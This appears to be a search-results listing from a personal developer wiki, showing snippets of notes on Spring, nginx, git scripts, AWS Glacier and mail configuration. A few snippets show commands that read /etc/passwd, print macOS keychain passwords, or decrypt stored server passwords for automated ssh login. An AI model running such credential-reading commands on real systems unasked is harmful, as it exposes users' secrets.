  • SystemRebuilding-201912 . . . . 14 matches
         다행히 Phase 1, Phase 2까지 약간은 늦어졌지만 잘 끝냈고 잘 동작하고 있고 혜택을 보고 있다.
         === Phase 1 ===
         === Phase 2 ===
         === Phase 3 ===
         원래 '외부 API 데이터에 대해 도메인 내부적으로 필요한 값들로만 구성된 내부 데이터 저장소 구축'을 Phase 3의 주제로 계획했었으나, 팀원들의 다양한 의견으로 '마이크로 서비스하에서 Smart한 통합테스트 환경 구축'으로 바뀌었다.
         나 개인적으로는 외부데이터 저장소 구축이 더 급하고 더 효용성이 높아 보였기 때문에 처음에 Phase 3로 잡았던 것이었다.
         하지만 Phase 2가 완료되는 무렵 일정은 원래보다 늦어졌고 사실 이번 프로젝트의 핵심이자 가장 도적적인 부분인 Phase 4를 먼저 하는게 차라리 나을것 같다는 여러명의 의견이 있었다.(아래에서 이제 Phase 3로 언급, '이벤트스토어기반메시지처리')
         그나마 다행히 Phase 3을 설계 및 진행하면서 원래 Phase3의 별도 스텝으로 진행하고자했던, '외부 도메인 데이터에 대한 내부 저장' 태스크를 하게 되었다.
         === phase 4 ===
          * pattern : 다양한 소스로부터 인입되는 대량?의 메시지를 동일한 정책으로 정확하게 처리하기(event store based)
  • Module03.분석모델링 . . . . 13 matches
          * Use Case Model 로 표시된 요구사항을 소프트웨어 개발자 관점에서 상세히 살펴보고
          * 분석단계 Package 는 Use Case Realization, 분석 Class, 하위 분석 단계 Package 등으로 구성되며 시스템 내의 모든 object들을 관리 가능한 단위로 분류하기 위한 매체로 사용됨
         == Use Case Realization 정의 ==
          * Use Case Realization 은 특정 Use Case가 실현(realize)되기 위하여 어떤 class 들이나 object들이 필요하고 어떻게 동작하는지를 기술하는 단위
         == 분석 단계 Class 도출 ==
          * 분석 단계 Class 는 Use Case Model의 각 Use Case를 실현하기 위해 분석단계에서 찾아낸 오브젝트들을 표현한 클래스
          * Use Case 명세서 상의 Flow of event 를 통해 발견된 행동(behavior)을 표현함으로써 각 분석 클래스 간의 책임(responsibility)을 정의함
         == Class Diagram 정제 ==
  • MoniWiki보안설정 . . . . 13 matches
          * 삭제는 master만 가능
         $wikimasters=array('master1');
         #$security_class='desktop';
         #security_class='needtologin';
         #$security_class='mustlogin';
         #$security_class='wikimaster';
         ## UserBased
         $security_class='userbased';
         $security_class='acl';
         * Anonymous allow userform
  • SwaggerSettingOnSpringBootWithNewServletContext . . . . 13 matches
         2. determine prefix ("/apigw" in this case) for new context and add setting in SpringBootApplication or other configuration
         @SpringBootApplication(scanBasePackageClasses = ...)
         public class PartnerControllerApplication {
          public static void main(final String[] args) {
          applicationContext.register(ApiGwWebMvcConfig.class);
         @ComponentScan(basePackageClasses = ApiGwControllerPackage.class)
         @Import({Swagger2Config.class})
         public class ApiGwWebMvcConfig extends WebMvcConfigurationSupport {
          .addResourceLocations("classpath:/META-INF/resources/")
          .addResourceLocations("classpath:/META-INF/resources/webjars/")
         public class Swagger2Config {
  • WikiSandBox . . . . 13 matches
         Please feel free to experiment here...
          * By the way, that bullet has several sub-headers. (This is the first.)
         They were surprised about the first subsection on this page. Imagine the complete astonishment when they discovered that there was a ''second'' subsection! An important part of this section is its reference to the MissionStatement. Be ''sure'' to check it out.
          1. Clip your fingernails.
         '''''Please Note:''''' ''There has been considerable controversy about several of the above listed alternatives to reading the First Section. Some people think they are silly. Some people think they are offensive. And some people just think that they are a waste of time. All of these may be true. However, we stand by them, as we firmly believe that they are '''all''' more interesting than the First Section.''
         Please feel free to experiment here, after the four dashes below... and please do '''NOT''' create new pages without any meaningful content just to try it out.
         MetaLink:http://www.slashdot.org WikiPedia:Hello+World
         [[FastSearch]]
  • 2024-04-11(Th) Raspberry Pi 5에 MoniWiki 설치하기(Docker 이용) . . . . 12 matches
         ["MoniWiki On Raspberry Pi"] >
         오래된 Raspberry PI 3가 가지고 놀기엔 너무 느리다고 자주 느끼게 되었다.
         그리고 Raspberry Pi는 핸드폰 충전기 전원 정도밖에 쓰지 않는 장비이다.
         작업경로는 /home/user1/www/myserver.com 이다.
         /home/user1/www/myserver.com/docker-compose.yml
          image: nginx:latest
          - /home/user1/prv/ssl-certs/certificate-all.crt:/etc/cert/ssl-certs/certificate-all.crt
          - /home/user1/prv/ssl-certs/private.key:/etc/cert/ssl-certs/private.key
          TZ: Asia/Seoul
          TZ: Asia/Seoul
         /home/user1/www/myserver.com/nginx-default.conf
          fastcgi_split_path_info ^(.+\.php)(/.+)$;
          fastcgi_pass php-fpm:9000;
          fastcgi_index index.php;
          include fastcgi_params;
          fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
          fastcgi_param PATH_INFO $fastcgi_path_info;
         /home/user1/www/myserver.com/php-fpm-conf-add.ini
         date.timezone = "Asia/Seoul"
         WorkingDirectory=/home/user1/www/myserver.com
  • CountingClosedPolygons . . . . 12 matches
         #keywords algorithm, coding test
         moved to https://github.com/gimslab/algorithms/tree/master/src/main/kotlin/counting_closed_polygons
         class Solution {
          if(!history.containsOverrideBarWith(bar)){
          if(history.containsPoint(bar.end))
          if(history.containsCrossBar(bar))
         class History(
          fun containsPoint(p:Point):Boolean {
          return startPoints.contains(p)
          fun containsCrossBar(b:Bar):Boolean {
          fun containsOverrideBarWith(b:Bar):Boolean {
         data class Bar(
         data class Point(
         TEST CASE
         class Solution {
          if(!history.containsOverrideBarWith(bar)){
          if(history.containsPoint(bar.end))
          if(history.containsCrossBar(bar))
         class History(
          val barsThatHasCross:MutableSet<Bar> = mutableSetOf(),
  • HelpOnFormatting . . . . 12 matches
         and ,,subscripts,, have to be embedded into double commas.
         An {{{inline code sequence\}}} has the start and end markers on the same line. Or you use `backticks`.
         A code display has them on different lines: {{{
         An {{{inline code sequence}}} has the start and end markers on the same line. Or you use `backticks`.
         A code display has them on different lines: {{{
         To write --striked text--, enclose the text in double dashes.
         Superscripted text also obtained by encloseing a string into double carets ^^like it^^.
         /!\ MoinMoin does superscript texts contain space but, MoniWiki does not. You can superscript a string contains space by encloseing it into double carets.
          * {{{{{{#red Hello World}}}}}} is renderd as {{{#red Hello World}}}
          * {{{{{{#0000ff Hello World}}}}}} is renderd as {{{#0000ff Hello World}}}
          * {{{{{{+3 Hello World}}}}}} is rendered as {{{+3 Hello World}}}
          * {{{{{{-1 Hello World}}}}}} is rendered as {{{-2 Hello World}}}
          * {{{{{{<space>#red Hello World}}}}}} is rendered as {{{ #red Hello World}}}
         Please see also WikiSlide
  • HelpOnUserPreferences . . . . 12 matches
         #keywords preferences,user
         == Setting your UserPreferences ==
         You may self-register and establish your preferences by clicking on the UserPreferences link at the top right corner of every page. If you have registered and are logged in, your name will be displayed instead of "User``Preferences".
         The various fields in User``Preferences are described below:
          * '''[[GetText(Name)]]''': Either your real name or an alias. Best is to use WikiName format.
          * '''[[GetText(Password)]]''': Something you can remember but is very hard for friends and family to guess.
          * '''[[GetText(Password repeat)]]''': if you initially set or later change your password, repeat it here to avoid typos.
          * '''[[GetText(Email)]]''': Your email address, this is required if you wish to subscribe to wiki pages or wish to have a forgotten login data mailed to you.
          * If ACLs are enabled, the email address is required to be unique and valid.
          * '''[[GetText(User CSS URL)]]''': If you want to override some of the wiki system's css, put your own CSS here.
          * '''[[GetText(Date format)]]''': The default of year-month-day is least confusing for international use.
          * '''[[GetText(Preferred language)]]''': The default is taken from your browser setting. It is advisable to set this to a specific language anyway, since then you get notification mails in your native tongue, too.
          * '''[[GetText(Subscribed wiki pages (one regex per line))]]''': Enter '''`.*`''' to receive an email when any page in this Wiki changes (''not recommended'' for busy wikis), or enter the names of any individual pages, one per line. If you are familiar with '''regular expressions''', you may enter a regex expression to match the pages names of interest (.* matches all page names). With the '''[[GetText(Show icon toolbar)]]''' option checked, subscription to individual pages is made easy by clicking the envelope icon when viewing a page of interest.
         /!\ This is an optional feature that only works when email support has enabled for this wiki, see HelpOnConfiguration/EmailSupport for details.
  • JavaTips . . . . 12 matches
         = classpath 에서 리소스 읽어들이기 =
         inputStream = Thread.currentThread().getContextClassLoader()
          .getResourceAsStream("dir/test.xml");
         java 커맨드라인(command line)기반 응용프로그램에서 키보드 입력을 받을때 입력하는 문자가 항상 에코되어 보여진다. 문제는 암호같은걸 받을때 이를 마스킹(masking)해주거나 지워줘야하는데 해결책이 별로 없다. 아래와 같은 쓰레드를 이용한 대안이 있다.
          this.threadKeyInEchoEraser = new Thread(new Runnable(){
          while(shouldRunKeyInEchoEraserThread){
          this.shouldRunKeyInEchoEraserThread = true;
          this.threadKeyInEchoEraser.start();
          String password = br.readLine();
          // stop keyinEchoEraser thread
          this.shouldRunKeyInEchoEraserThread = false;
          System.out.println("passwd = "+password);
  • LockingWithUpdatingStatusFieldInJpaEnvironmentUsingAutoClosable . . . . 12 matches
         public class JobRepositoryIntegrationTest {
          private JobRepositoryTestService service;
          @Test
          } catch (LockFailureException e) {
         public class LockableJob implements AutoCloseable {
          private JobRepositoryTestService dbupdater;
          private LockableJob(Long id, JobRepositoryTestService dbupdater) throws LockFailureException {
          updateStatus(from(WAIT), to(LOCK));
          static LockableJob getLockableJob(Long id, JobRepositoryTestService dbupdater) throws LockFailureException {
          updateStatus(from(LOCK), to(closeStatus));
          private void updateStatus(List<JobStatus> from, JobStatus to) throws LockFailureException {
          val affected = dbupdater.updateStatus(id, from, to);
          throw new LockFailureException(id);
          static class LockFailureException extends Exception {
         public class JobRepositoryTestService {
          // throw new RuntimeException("for test");
          public int updateStatus(Long id, List<JobStatus> from, JobStatus to) {
          return repo.updateStatus(id, from, to);
          int updateStatus(
  • .vimrc . . . . 11 matches
         set laststatus=2
         "EasyMotion Start
         let g:EasyMotion_do_mapping = 0 " Disable default mappings
         "nmap s <Plug>(easymotion-overwin-f)
         "nmap s <Plug>(easymotion-overwin-f2)
         nmap <space> <Plug>(easymotion-overwin-f2)
         let g:EasyMotion_smartcase = 1
         map <Leader>j <Plug>(easymotion-j)
         map <Leader>k <Plug>(easymotion-k)
         "EasyMotion End
  • HelpOnLinking . . . . 11 matches
          * email addresses with {{{mailto:}}} tag.
         The supported URL schemas are: `http:`, `https:`, `ftp:`, `nntp:`, `news:`, `mailto:`, `telnet:`, and `file:`. Please see HelpOnConfiguration to extend this schemas.
         In addition to the standard schemas, there are MoinMoin-specific ones: `wiki:`, `attachment:`. "`wiki:`" indicates an InterWiki link, so `MoniWiki:FrontPage` and `wiki:MoniWiki:FrontPage` are equivalent; you will normally prefer the shorter form, the "`wiki`" scheme becomes important when you use bracketed links, since there you always need a scheme. The other three schemes are related to file attachments and are explained on HelpOnActions/AttachFile.
          * mailto:jh@web.de
          * mailto:jh@web.de
         {{{wiki:MeatBall/InterWiki}}} is interpreted as {{{wiki:MeatBall:InterWiki}}} in the MoinMoin. But it confuse users with {{{wiki:WikiPage/SubPage}}} syntax.
         === disable !CamelCase syntax ===
         You can disable !WikiName syntax globally by adding `$use_camelcase=0;` in the config.php.
         And you can enable/disable !WikiName syntax by add `#camelcase` or `#camelcase 0` to the top of some pages. (Please see also ProcessingInstructions)
          * without pagename like as {{{MoinMoin:}}} MoinMoin: {{{MoinWiki:}}} MoniWiki:
  • HelpOnLists . . . . 11 matches
         You can create bulleted and numbered lists in a quite natural way. All you do is inserting the line containing the list item. To get bulleted items, start the item with an asterisk "{{{*}}}"; to get numbered items, start it with a number template "{{{1.}}}", "{{{a.}}}", "{{{A.}}}", "{{{i.}}}" or "{{{I.}}}". Anything else will just indent the line. To start a numbered list with a certain initial value, append "{{{#}}}''value''" to the number template.
         /!\ ''term'' cannot contain any wiki markup in the MoinMoin but, MoniWiki support wiki markups.
         And if you put asterisks at the start of the line
          * Lowercase roman
          * Uppercase roman (with start offset 42)
          * Lowercase alpha
          * Uppercase alpha
         And if you put asterisks at the start of the line
          * Lowercase roman
          * Uppercase roman (with start offset 42)
          * Lowercase alpha
          * Uppercase alpha
  • PhpOnNginx . . . . 11 matches
          fastcgi_split_path_info ^(.+\.php)(/.+)$;
          #fastcgi_pass 127.0.0.1:9000;
          #fastcgi_pass unix:/var/run/php5-fpm.sock;
          fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
          fastcgi_index index.php;
          fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
          include fastcgi_params;
  • SPF . . . . 11 matches
         mail.hikiki.net. IN TXT "v=spf1 a ~all"
         mail-from check: pass
         DomainKeys check: permerror (DK_STAT_SYNTAX: Message is not valid syntax. Signature could not be created/checked)
         Details:
         Note: currently some of this information is obtained separately from
         the verification process, and as such there is no hard guarantee that
         mail-from: kiki@hikiki.net
         mail-from check details:
         Result: pass
         Header: verifier.port25.com smtp.mail=kiki@hikiki.net; mfrom=pass;
         PRA check details:
         DomainKeys check details:
         Header: verifier.port25.com ; domainkeys=permerror (DK_STAT_SYNTAX: Message is not valid syntax. Signature could not be created/checked);
         Domain Key TXT record:
         Original Email
         Authentication-Results: verifier.port25.com smtp.mail=kiki@hikiki.net; mfrom=pass;
         Authentication-Results: verifier.port25.com ; domainkeys=permerror (DK_STAT_SYNTAX: Message is not valid syntax. Signature could not be created/checked);
         "pass"
          the sending domain publishes the given authentication policy
          and the message passed the authentication tests.
  • awk . . . . 11 matches
          is the number of the last record processed.
          number of the last record processed in the last
          to; ARGC can be altered. As each input file
          inclusive, as the name of the next input file.
          that it will not be treated as an input file.
          argument matches the format of an assignment
          operand, this argument will be treated as an
          assignment rather than a file argument.
         == /etc/passwd 파일에서 uid만 리스팅 ==
         $ awk -F":" '{print $3}' /etc/passwd
         $ awk '/user[12][0-9]/ {print $0}' /my_file
         $ awk '{print NR "\t" $0}' /etc/passwd
  • merge-from-master . . . . 11 matches
         $ cat merge-from-release.sh
         BASE_DIR=/repo3
         if [[ `pwd` != $BASE_DIR ]]; then
          echo Stopped. Not in $BASE_DIR dir.
         cd $BASE_DIR
         rm -rf $BASE_DIR/coup
         cd $BASE_DIR/coup
         git remote add release coup@gitlab.coup.net:release/coup.git
         git fetch release
         git checkout -b rel-master release/master
         git checkout master
         git merge rel-master
         git merge -m "Merge branch 'master' into develop" master
  • powermock . . . . 11 matches
         import org.junit.Test;
         import org.powermock.core.classloader.annotations.PrepareForTest;
         @RunWith(PowerMockRunner.class)
         @PrepareForTest(ZStatic.class)
         public class ZStaticTest {
          @Test
          mockStatic(ZStatic.class);
          doReturn("안녕하세요").when(ZStatic.class, "hello");
  • AwsGlacier . . . . 10 matches
         $ aws glacier initiate-job --account-id - --vault-name photos --job-parameters '{"Type": "inventory-retrieval"}' --region ap-northeast-1
         $ aws glacier list-jobs --account-id - --vault-name photos --region ap-northeast-1
          "VaultARN": "arn:aws:glacier:ap-northeast-1:8888:vaults/photos",
         $ aws glacier describe-job --region ap-northeast-1 --account-id - --vault-name photos --job-id "d-DvEvVqAJmrvcqlgx5UbyFlo6RV6LQiCHQH-g91PRIpHy2DCUQc7OtsyvfuU3lpl6SMqkwx4cRIl91KQL2WWzNL79GH"
          "VaultARN": "arn:aws:glacier:ap-northeast-1:8888:vaults/photos",
          "VaultARN": "arn:aws:glacier:ap-northeast-1:8888:vaults/photos",
          "SNSTopic": "arn:aws:sns:ap-northeast-1:8888:gims_topic_1",
         ArchiveId,ArchiveDescription,CreationDate,Size,SHA256TreeHash
         IubxeMR4pYpP6I7KfLejxEpYLKXK8RDnCQgyezviFE7d0anX01aiLybs9ZJyNxBDiS7lBoT0Hlbh0NZhkieehivfee8PUSV9UzD197sTQVFhpB6TWMqaHILLKZ7msJR4qmRFKxHQoA,"",2017-05-09T06:27:01Z,93440000,11ec6cac98d8632593e074669ec0c107ebb9a491954e659219aaec9db1a55960
         aws glacier delete-archive --account-id - --vault-name photos --archive-id IubxeMR4pYpP6I7KfLejxEpYLKXK8RDnCQgyezviFE7d0anX01aiLybs9ZJyNxBDiS7lBoT0Hlbh0NZhkieehivfee8PUSV9UzD197sTQVFhpB6TWMqaHILLKZ7msJR4qmRFKxHQoA
          "VaultARN": "arn:aws:glacier:ap-northeast-1:8888:vaults/photos",
          "LastInventoryDate": "2018-02-26T06:16:41.762Z",
  • CvsCommand . . . . 10 matches
          The file was brought up to date with respect to the repository. This is done for any file that exists in the repository but not in your source, and for files that you haven't changed but are not the most recent versions available in the repository.
          The file has been added to your private copy of the sources, and will be added to the source repository when you run commit on the file. This is a reminder to you that the file needs to be committed.
          The file has been removed from your private copy of the sources, and will be removed from the source repository when you run commit on the file. This is a reminder to you that the file needs to be committed.
          M can indicate one of two states for a file you're working on: either there were no modifications to the same file in the repository, so that your file remains as you last saw it; or there were modifications in the repository as well as in your copy, but they were merged successfully, without conflict, in your working directory.
          cvsnt will print some messages if it merges your work, and a backup copy of your working file (as it looked before you ran update) will be made. The exact name of that file is printed while update runs.
          A conflict was detected while trying to merge your changes to file with changes from the source repository. file (the copy in your working directory) is now the result of attempting to merge the two revisions; an unmodified copy of your file is also in your working directory, with the name .#file.revision where revision is the revision that your modified file started from. Resolve the conflict as described in the section called “Conflicts example ”. (Note that some systems automatically purge files that begin with .# if they have not been accessed for a few days. If you intend to keep a copy of your original file, it is a very good idea to rename it.) Under vms, the file name starts with __ rather than .#.
  • ExpectScript/autoLogin . . . . 10 matches
         .pwd_for_svr1 : svr1에 사용되는 passwd가 암호화되어 저장되어 있는 파일 ([Openssl Aes] 같은걸 사용)
         .pwd_for_svr2 : svr2에 사용되는 passwd가 암호화되어 저장되어 있는 파일
         send_user -- "\npassword for decrypt password : "
         expect_user -re "(.*)\n"
         set pwdForSvr1 [exec openssl aes-256-cbc -d -pass pass:$pwd -in $env(HOME)/.pwd_for_svr1.enc]
         set pwdForSvr2 [exec openssl aes-256-cbc -d -pass pass:$pwd -in $env(HOME)/.pwd_for_svr2.enc]
         eval spawn ssh userid1@svr1
         expect -re "password:"
         expect -re "userid1@svr1"
         send "ssh userid1@svr2\r"
         expect -re "password:"
  • ImmutableSetVsHashSet . . . . 10 matches
         cf. [ArrayList vs HashSet]
         # HashSet test(LAST=21474836)
         making HashSet done. elapsed=9365
         # HashSet test(LAST=21474836)
         making HashSet done. elapsed=10852
         # HashSet test(LAST=21474836)
         making HashSet done. elapsed=7350
         # ImmutableSet test(LAST=21474836)
         making HashSet done. elapsed=7480
         # ImmutableSet test(LAST=21474836)
         making HashSet done. elapsed=7550
         # ImmutableSet test(LAST=21474836)
         making HashSet done. elapsed=10664
  • ProcMailSample1 . . . . 10 matches
         = ProcMail 설정파일 예제 1 =
         LOGFILE=/var/log/procmail
         * ^Content-Type: *text/plain
         |/usr/bin/formail - I "Content-Transfer-Encoding: 8bit" -A "X-Automatic-MIME-Conversion-by-procmail: QP to 8bit"
         * ^Content-Transfer-Encoding: *base64
         |/usr/bin/formail -I "Content-Transfer-Encoding: 8bit" -A "X-Automatic-MIME-Conversion-by-procmail: Base64 to 8bit"
         * ^Content-Type: text/plain
         |/usr/bin/formail -c -I "Content-Type: text/plain; charset=EUC-KR" -I "Content-Transfer-Encoding: 8bit"
         |/usr/bin/formail -c -I "Content-Type: text/html; charset=EUC-KR" -I "Content-Transfer-Encoding: 8bit"
         |/usr/bin/formail -c -I "Content-Type: text/plain; charset=EUC-KR" -I "Content-Transfer-Encoding: 8bit"
         |/usr/bin/formail -A "X-Automatic-Korean-Mail-Conversion: iso-2022-kr to euc-kr"
         |/usr/bin/formail -c | /usr/bin/hcode -dk -m
         #|/usr/bin/formail -c | /usr/bin/hcode -dk -m
         |/usr/bin/formail -c | /usr/bin/hcode -dk -m
         |/usr/bin/formail -c | /usr/bin/hcode -dk -m
         * ^X-Mailer:.*Mailtouch
         /var/log/procmail.spam
         * ^X-Mailer:.*DiffondiCool
         /var/log/procmail.spam
         * ^X-Mailer:.*Merge \& Group Mailer
  • anal_log.sh . . . . 10 matches
         # was에 결과를 보내기위한 url
         was_call_url="http://was/log_web_access_count.jsp"
         # was call
         _url="$was_call_url?date=$today&host=`uname -n`&jobid=$jobid&count=$result_count"
         echo "write was log : $_url" >> $result_file
         # was call
         _url="$was_call_url?date=$today&host=`uname -n`&jobid=$jobid&count=$result_count"
         echo "write was log : $_url" >> $result_file
         스크립트가 수행되면 로컬서버에 결과 파일이 쌓이고 또한 결과가 was로 호출(curl)되어 해당서버에 기록을 남기게 되면 웹을통해 내용을 조회할수 있다.
  • bash . . . . 10 matches
         #keywords bash-script, bash
         ["bash getopts"]
         [bash installation on osx]
         [bash scripts]
         BashStatements
         [iterate multiple args in bash]
         [.bashrc]
         [.bash_profile]
         [cygwin] 이용 window에서 [.sh 확장자 bash.exe로 연결]
  • 아파치디렉토리사용자인증설정하기 . . . . 10 matches
         = AuthType Basic =
          *passwd파일 만들기
         htpasswd -c htpasswd_file user_id
          AuthType Basic
          AuthUserFile /home/in.xxxxnet.net/passwd/htpasswd
          Require valid-user
          *passwd파일 만들기
         htdigest -c htdigest_file realm_name user_id
          AuthDigestDomain /wiki/
          AuthDigestFile /home/in.xxxxnet.net/passwd/htdigest
          Require valid-user
  • JUnitAssertMethods . . . . 9 matches
         #keywords junit, assert, unit test
         [JUnit] Assert Methods
         ref : [fest.assertions]
         === Assert:: ===
         assertEqual(x,y)
         assertFalse(boolean)
         assertTrue(boolean)
         assertNull(object)
         assertNotNull(object)
         assetSame(firstObject, secondObject)
         assertNotSame(firstObject, secondObject)
  • LockingWithUpdatingStatusFieldInJpaEnvironment . . . . 9 matches
         public class MyTest {
          private TestService service;
          @Test
          public void lockTest() throws Exception {
          log.info("+++ {}: FAIL TO LOCK", worker);
         public class TestService {
          val affected = repo.updateStatus(id, statuses(WAIT), newStatus(LOCK));
          throw new RuntimeException("fail to lock: id=" + id);
          val affected = repo.updateStatus(id, statuses(LOCK), newStatus);
          int updateStatus(
  • OsxKeychain . . . . 9 matches
         security add-generic-password -scoxxx.net -a${myId} -w${PWD}"
         security add-generic-password -U -scoxxx.net -a${myId} -w${PWD}"
         # -w specify password
         security find-generic-password -s awscn.ldap.user ~/Library/Keychains/login.keychain-db"
         security find-generic-password -sawscn.ldap.user -g"
         security find-generic-password -sawscn.ldap.user -aokok -w"
         # -w display password only
         # -g display password
         The 'security' command in cron did not work as intended. I solved it using 'launchd'
  • SparkPerformanceTestResultsOnCluster . . . . 9 matches
         #keywords spark, performance test, cluster
         [spark] performance test results on cluster
         = test 1 =
          * 4core(nfs hdd, xps13, master) + 2core(local hdd, n54l, slave)
         = test 2-1 =
          * 4core (desktop,master) + 4core (mal.dev, slave) + 4core (del-dev-mv, slave) : csv파일은 각 host에 복제해둔 상태에서 테스트
         = test 2-2 =
          * 4core (desktop,master) + 4core (mal.dev, slave) + 4core (del-dev-mv, slave) : csv파일은 각 host에 복제해둔 상태에서 테스트
         = test 2-3 =
          * 4core (desktop,master) + 4core (mal.dev, slave) : csv파일은 각 host에 복제해둔 상태에서 테스트
         = test case =
         df.registerTempTable("base")
         val amtByOp = sqlContext.sql("select optionSrl, amountType, sum(amount) amount from base group by optionSrl, amountType order by amount desc")
         = test 3 (nfs) =
          * calc03(master) + calc02
         = test 4 (spark2.0, nfs) =
          * calc03(master) + calc02
  • docker-compose . . . . 9 matches
          image: nginx:latest
          fastcgi_split_path_info ^(.+\.php)(/.+)$;
          fastcgi_pass php:9000;
          fastcgi_index index.php;
          include fastcgi_params;
          fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
          fastcgi_param PATH_INFO $fastcgi_path_info;
  • whichclass.jsp . . . . 9 matches
         String className = request.getQueryString();
         out.println("class name = "+className);
         Class cls = Class.forName(className);
         private void check(JspWriter out, Class cls) throws Exception {
          java.net.URL url = cls.getResource("/"+clsName.replaceAll("\\.", "/")+".class");
         http://sample.gimslab.com/whichclass.jsp?java.lang.String
  • AntBuild.xml예제3 . . . . 8 matches
          <property name="base.dir" value="." />
          <javac deprecation="off" srcdir="${src.dir}" destdir="${build.dir}" listfiles="no" failonerror="true">
          <classpath>
          <pathelement path="${base.dir}/lib" />
          </classpath>
          <jar destfile="${dist.dir}/${jar.file}" basedir="${build.dir}" />
          <java classname="HelloANT" fork="true">
          <classpath>
          </classpath>
  • HelpOnActions . . . . 8 matches
         Actions are tools that work on a page or the whole wiki, but unlike macros do not add ''to'' the page content when viewing a page, but work ''on'' that page content. They either produce some output based on page contents (navigational actions like searching) or implement functions that are not related to viewing a page (like deleting or renaming a page).
         The following actions are added to the list of user-defined extension actions at the bottom of each page or other position defend on your selected theme. This happens to any mixed-case extension, for other actions (all lower-case) see the list further down this page. Some of these action might not be available for this wiki site.
          * `!UploadFile`: upload files to a page, see UploadFile for more details.
          * `!DeletePage`: Delete a page, after you confirmed it; deletion means a final backup copy is created and only then the page is deleted, i.e. you can ''revive'' the page later on (as long as the backups are not physically deleted).
          * `!LikePages`: list pages whose title starts or ends with the same MeatBall:WikiWord as the current page title.
         The following is a list of ''internal'' actions that are used to implement the various menus and links at the top and bottom of pages, or supplement certain macros.
          * `userform`: save user preferences.
          * `titleindex`: Implements the listing of all page names as text (Self:?action=titleindex) or XML (Self:?action=titleindex&mimetype=text/xml''''''); the main use of this action is to enable MeatBall:MetaWiki.
          * `raw`: send the raw wiki markup as text/plain (e.g. for backup purposes via wget); Self:SystemInfo?action=raw shows the markup of SystemInfo.
  • JWSDP이용한웹서비스작성순서 . . . . 8 matches
         = 원격인터페이스 작성(MyTestIF.java) =
         = 원격인터페이스를 실제 구현한 클래스 작성(MyTestImple.java) =
          *해당 클래스는 EJB나 실질적 biz로직을 구현한 class를 호출
         WEB-INF/classes/MyTestIF.class
          /MyTestImpl.class
         jar cvf mytest-portable.war *.*
         wsdeploy.bat -o mytest.war mytest-portable.war
         ==> 위과 같이 명령을 수행하면 mytest-portabe.war파일에 웹 서비스를 위한 서블릿이 추가되어 mytest.war 파일이 생성된다. 이때 jaxrpc-ri.xml 파일을 참고로 서블릿 설정이 생성된다.
         톰캣인경우 다음 경로에 mytest.war를 복사
  • MoniWikiACL . . . . 8 matches
         # Please don't modify the lines above
         * @User allow *
         # some POST actions support protected mode using admin password
         * @ALL allow read,userform,rss_rc,aclinfo,fortune,deletepage,fixmoin,ticket
          * @ALL: all users (priority: 1)
          * @User: registered users (priority: 2)
         == User define @Group and @Group priority ==
         ##@groupname userlist [priority]
         @Kiwirian foobar,kiwi,hello123 20 # @Kiwirain group
          * `protect`: protect some password protected POST actions (not all actions are protectable)
         Last ACL entry is used.
          * {{{deny *}}} + {{{allow edit,info}}} = only edit,info available
         * @Group1 deny * # User defined @Group1 group
          * all other registered users: '''Order Deny,Allow''' - {{{deny backup,resotre}}} + {{{allow *}}}
  • Spock . . . . 8 matches
         ["Sapient AI Test Coder Review as a Spock User - 20231015(Su)"]
  • Useful Software . . . . 8 matches
          * synapse: Synapse is a semantic launcher written in Vala that you can use to start applications as well as find and access relevant documents and files by making use of the Zeitgeist engine.
          * wifi mouse : 스마트폰을 맥의 PC용 멀티터치패드로 사용하기(우분투 지원) https://play.google.com/store/apps/details?id=wsm.wifimousefree&hl=ko
          * ngrok: make localhost as public server with temp domain
          * SmartSniff : capture TCP/IP packets that pass through network adaptef
          * Ultra Flash Video Converter (Video2Flash.exe) : avi to flv
          * 다음 팟 인코더 : 동영상 변환 및 인코딩 http://tvpot.daum.net/encoder/PotEncoderSpec.do
          * AIDA32 v3.94.2 : 시스템의 하드웨어 및 응용프로그램의 상세 정보 제공
          * gnumeric : fast spreadsheet
  • Web2.0을활용한사이트 . . . . 8 matches
          * Atlassian
          * Wetpaint
          * BaseCamp
          * Quickbase
          * Tailrank
          * Podbasket
          * Iron Mountain (Connected & LiveVault)
          * BackBase
          * Codase
          * Laszlo Systems
          * Instant Rails
          * GigaSpaces
          * Mashup Matrix
  • 영어일기-01 . . . . 8 matches
         sunny (햇빛이 밝은), rainy (비가 오는), cloudy (구름이 많은)
         It was sunny today.
         It was cloudy today.
         It was a little/very cloudy today.
         It looks like rain.
         It looks like it’s going to rain.
         The weather forecast called for scattered showers.
         * the weather forecast 일기예보
         The weather forecast called for heavy snow.
         heavy rain(s) 폭우
         The fog was heavy.
         = There was a heavy fog.
         The scent of flowers filled the air.
         = It’s raining cats and dogs.
         I took shelter from the rain under a ledge.
         -> 비를 피하다 take shelter from the rain
         The rain let up.
         The rain did not let up for hours.
  • 웹서비스제작용Ant설정파일 . . . . 8 matches
         basedir은 ant가 실행되는 경로
         <project basedir="." default="all">
          <mkdir dir="dist/WEB-INF/classes" />
          <classpath refid="${jwsdplib-dir}"></classpath>
          <copy todir="${dist-dir}/WEB-INF/classes">
          <include name="**/*.class" />
          jar cvf testws-portable.war *.* 와 동일한 명령
          <!-- 위에서 생성된 testws-portable.war파일에
          서블릿에 관한 부분을 추가 하여 testws.war를 생성한다.
          <env key="classpath" path="${jwsdplib-dir}" />
         portable-war-file=testws-portable.war
         war-file=testws.war
  • AI Tech . . . . 7 matches
         ["AI Training"]
         | ["AI Tools"]
         | ["AI Development"]
         ["Known AI Models"]
         ["LangChain"]
         이미지 생성 AI 활용 - https://wikidocs.net/book/12852
         OpenAI 프로젝트 - https://wikidocs.net/book/12872
         한글 학습 데이터 ko-alpaca - https://huggingface.co/datasets/royboy0416/ko-alpaca/viewer/default/train
  • Ant . . . . 7 matches
         <project default="test">
          <target name="test">
          <sshexec host="${host}" username="${username}" password="${password}" trust="true"
         basedir은 ant가 실행되는 경로
         <project basedir="." default="all">
          <mkdir dir="dist/WEB-INF/classes"/>
          <classpath refid="${jwsdplib-dir}"></classpath>
  • HelpForBeginners . . . . 7 matches
         A WikiWikiWeb is a collaborative hypertext environment, with an emphasis on easy access to and modification of information.
